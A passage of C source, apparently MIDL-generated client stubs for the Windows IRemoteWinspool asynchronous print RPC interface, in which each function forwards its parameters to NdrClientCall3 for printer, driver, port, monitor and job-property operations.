*pnEnumValues)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  28,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pEnumValues,\n                  cbEnumValues,\n                  pcbEnumValues,\n                  pnEnumValues);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPrinterKey( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [size_is][out] */ wchar_t *pSubkey,\n    /* [in] */ DWORD cbSubkey,\n    /* [out] */ DWORD *pcbSubkey)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  29,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pSubkey,\n                  cbSubkey,\n                  pcbSubkey);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  30,\n                  0,\n                  hPrinter,\n                  pValueName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  31,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pValueName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePrinterKey( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  32,\n                  0,\n                  hPrinter,\n                  pKeyName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncXcvData( \n    /* [in] */ PRINTER_HANDLE hXcv,\n    /* [string][in] */ const wchar_t *pszDataName,\n    /* [size_is][in] */ unsigned char *pInputData,\n    /* [in] */ DWORD cbInputData,\n    /* [size_is][out] */ unsigned char *pOutputData,\n    /* [in] */ DWORD cbOutputData,\n    /* [out] */ DWORD *pcbOutputNeeded,\n    /* [out][in] */ DWORD *pdwStatus)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  33,\n                  0,\n                  hXcv,\n                  pszDataName,\n                  pInputData,\n                  cbInputData,\n                  pOutputData,\n                  cbOutputData,\n                  pcbOutputNeeded,\n                  pdwStatus);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncSendRecvBidiData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ const wchar_t *pAction,\n    /* [in] */ RPC_BIDI_REQUEST_CONTAINER *pReqData,\n    /* [out] */ RPC_BIDI_RESPONSE_CONTAINER **ppRespData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  34,\n                  0,\n                  hPrinter,\n                  pAction,\n                  pReqData,\n                  ppRespData);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncCreatePrinterIC( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [out] */ GDI_HANDLE *pHandle,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  35,\n                  0,\n                  hPrinter,\n                  pHandle,\n                  pDevModeContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncPlayGdiScriptOnPrinterIC( \n    /* [in] */ GDI_HANDLE hPrinterIC,\n    /* [size_is][in] */ unsigned char *pIn,\n    /* [in] */ DWORD cIn,\n    /* [size_is][out] */ unsigned char *pOut,\n    /* [in] */ DWORD cOut,\n    /* [in] */ DWORD ul)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  36,\n                  0,\n                  hPrinterIC,\n                  pIn,\n                  cIn,\n                  pOut,\n                  cOut,\n                  ul);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePrinterIC( \n    /* [out][in] */ GDI_HANDLE *phPrinterIC)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  37,\n                  0,\n                  phPrinterIC);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPrinters( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [in] */ DWORD Flags,\n    /* [unique][string][in] */ wchar_t *Name,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPrinterEnum,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  38,\n                  0,\n                  hRemoteBinding,\n                  Flags,\n                  Name,\n                  Level,\n                  pPrinterEnum,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAddPrinterDriver( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ DRIVER_CONTAINER *pDriverContainer,\n    /* [in] */ DWORD dwFileCopyFlags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  39,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pDriverContainer,\n                  dwFileCopyFlags);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPrinterDrivers( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pDrivers,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  40,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pEnvironment,\n                  Level,\n                  pDrivers,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetPrinterDriverDirectory( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pDriverDirectory,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  41,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pEnvironment,\n                  Level,\n                  pDriverDirectory,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePrinterDriver( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pDriverName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  42,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pEnvironment,\n                  pDriverName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePrinterDriverEx( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pDriverName,\n    /* [in] */ DWORD dwDeleteFlag,\n    /* [in] */ DWORD dwVersionNum)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  43,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pEnvironment,\n                  pDriverName,\n                  dwDeleteFlag,\n                  dwVersionNum);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAddPrintProcessor( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pPathName,\n    /* [string][in] */ wchar_t *pPrintProcessorName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  44,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pEnvironment,\n                  pPathName,\n                  pPrintProcessorName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPrintProcessors( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPrintProcessorInfo,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  45,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pEnvironment,\n                  Level,\n                  pPrintProcessorInfo,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetPrintProcessorDirectory( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPrintProcessorDirectory,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  46,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pEnvironment,\n                  Level,\n                  pPrintProcessorDirectory,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPorts( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPort,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  47,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  Level,\n                  pPort,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumMonitors( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pMonitor,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  48,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  Level,\n                  pMonitor,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAddPort( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ PORT_CONTAINER *pPortContainer,\n    /* [in] */ PORT_VAR_CONTAINER *pPortVarContainer,\n    /* [string][in] */ wchar_t *pMonitorName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  49,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pPortContainer,\n                  pPortVarContainer,\n                  pMonitorName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncSetPort( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [unique][string][in] */ wchar_t *pPortName,\n    /* [in] */ PORT_CONTAINER *pPortContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  50,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pPortName,\n                  pPortContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAddMonitor( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *Name,\n    /* [in] */ MONITOR_CONTAINER *pMonitorContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  51,\n                  0,\n                  hRemoteBinding,\n                  Name,\n                  pMonitorContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeleteMonitor( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *Name,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pMonitorName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  52,\n                  0,\n                  hRemoteBinding,\n                  Name,\n                  pEnvironment,\n                  pMonitorName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePrintProcessor( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *Name,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pPrintProcessorName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  53,\n                  0,\n                  hRemoteBinding,\n                  Name,\n                  pEnvironment,\n                  pPrintProcessorName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPrintProcessorDatatypes( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pPrintProcessorName,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pDatatypes,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  54,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pPrintProcessorName,\n                  Level,\n                  pDatatypes,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAddPerMachineConnection( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pServer,\n    /* [string][in] */ const wchar_t *pPrinterName,\n    /* [string][in] */ const wchar_t *pPrintServer,\n    /* [string][in] */ const wchar_t *pProvider)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  55,\n                  0,\n                  hRemoteBinding,\n                  pServer,\n                  pPrinterName,\n                  pPrintServer,\n                  pProvider);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePerMachineConnection( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pServer,\n    /* [string][in] */ const wchar_t *pPrinterName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  56,\n                  0,\n                  hRemoteBinding,\n                  pServer,\n                  pPrinterName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPerMachineConnections( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pServer,\n    /* [size_is][unique][out][in] */ unsigned char *pPrinterEnum,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  57,\n                  0,\n                  hRemoteBinding,\n                  pServer,\n                  pPrinterEnum,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcSyncRegisterForRemoteNotifications( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ RpcPrintPropertiesCollection *pNotifyFilter,\n    /* [out] */ RMTNTFY_HANDLE *phRpcHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  58,\n                  0,\n                  hPrinter,\n                  pNotifyFilter,\n                  phRpcHandle);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcSyncUnRegisterForRemoteNotifications( \n    /* [out][in] */ RMTNTFY_HANDLE *phRpcHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  59,\n                  0,\n                  phRpcHandle);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcSyncRefreshRemoteNotifications( \n    /* [in] */ RMTNTFY_HANDLE hRpcHandle,\n    /* [in] */ RpcPrintPropertiesCollection *pNotifyFilter,\n    /* [out] */ RpcPrintPropertiesCollection **ppNotifyData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  60,\n                  0,\n                  hRpcHandle,\n                  pNotifyFilter,\n                  ppNotifyData);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcAsyncGetRemoteNotifications( \n    /* [in] */ RMTNTFY_HANDLE hRpcHandle,\n    /* [out] */ RpcPrintPropertiesCollection **ppNotifyData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  61,\n                  0,\n                  hRpcHandle,\n                  ppNotifyData);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcAsyncInstallPrinterDriverFromPackage( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [unique][string][in] */ const wchar_t *pszInfPath,\n    /* [string][in] */ const wchar_t *pszDriverName,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ DWORD dwFlags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  62,\n                  0,\n                  hRemoteBinding,\n                  pszServer,\n                  pszInfPath,\n                  pszDriverName,\n                  pszEnvironment,\n                  dwFlags);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcAsyncUploadPrinterDriverPackage( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszInfPath,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ DWORD dwFlags,\n    /* [size_is][unique][out][in] */ wchar_t *pszDestInfPath,\n    /* [out][in] */ DWORD *pcchDestInfPath)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  63,\n                  0,\n                  hRemoteBinding,\n                  pszServer,\n                  pszInfPath,\n                  pszEnvironment,\n                  dwFlags,\n                  pszDestInfPath,\n                  pcchDestInfPath);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcAsyncGetCorePrinterDrivers( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ DWORD cchCoreDrivers,\n    /* [size_is][in] */ const wchar_t *pszzCoreDriverDependencies,\n    /* [in] */ DWORD cCorePrinterDrivers,\n    /* [size_is][out] */ CORE_PRINTER_DRIVER *pCorePrinterDrivers)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  64,\n                  0,\n                  hRemoteBinding,\n                  pszServer,\n                  pszEnvironment,\n                  cchCoreDrivers,\n                  pszzCoreDriverDependencies,\n                  cCorePrinterDrivers,\n                  pCorePrinterDrivers);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcAsyncCorePrinterDriverInstalled( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ GUID CoreDriverGUID,\n    /* [in] */ FILETIME ftDriverDate,\n    /* [in] */ DWORDLONG dwlDriverVersion,\n    /* [out] */ int *pbDriverInstalled)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  65,\n                  0,\n                  hRemoteBinding,\n                  pszServer,\n                  pszEnvironment,\n                  CoreDriverGUID,\n                  ftDriverDate,\n                  dwlDriverVersion,\n                  pbDriverInstalled);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcAsyncGetPrinterDriverPackagePath( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [unique][string][in] */ const wchar_t *pszLanguage,\n    /* [string][in] */ const wchar_t *pszPackageID,\n    /* [size_is][unique][out][in] */ wchar_t *pszDriverPackageCab,\n    /* [in] */ DWORD cchDriverPackageCab,\n    /* [out] */ DWORD *pcchRequiredSize)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  66,\n                  0,\n                  hRemoteBinding,\n                  pszServer,\n                  pszEnvironment,\n                  pszLanguage,\n                  pszPackageID,\n                  pszDriverPackageCab,\n                  cchDriverPackageCab,\n                  pcchRequiredSize);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nHRESULT RpcAsyncDeletePrinterDriverPackage( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszInfPath,\n    /* [string][in] */ const wchar_t *pszEnvironment)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  67,\n                  0,\n                  hRemoteBinding,\n                  pszServer,\n                  pszInfPath,\n                  pszEnvironment);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncReadPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][out] */ unsigned char *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcNoBytesRead)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  68,\n                  0,\n                  hPrinter,\n                  pBuf,\n                  cbBuf,\n                  pcNoBytesRead);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncResetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  69,\n                  0,\n                  hPrinter,\n                  pDatatype,\n                  pDevModeContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetJobNamedPropertyValue( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [string][in] */ const wchar_t *pszName,\n    /* [out] */ RPC_PrintPropertyValue *pValue)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  70,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pszName,\n                  pValue);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncSetJobNamedProperty( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [in] */ RPC_PrintNamedProperty *pProperty)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  71,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pProperty);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeleteJobNamedProperty( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [string][in] */ const wchar_t *pszName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  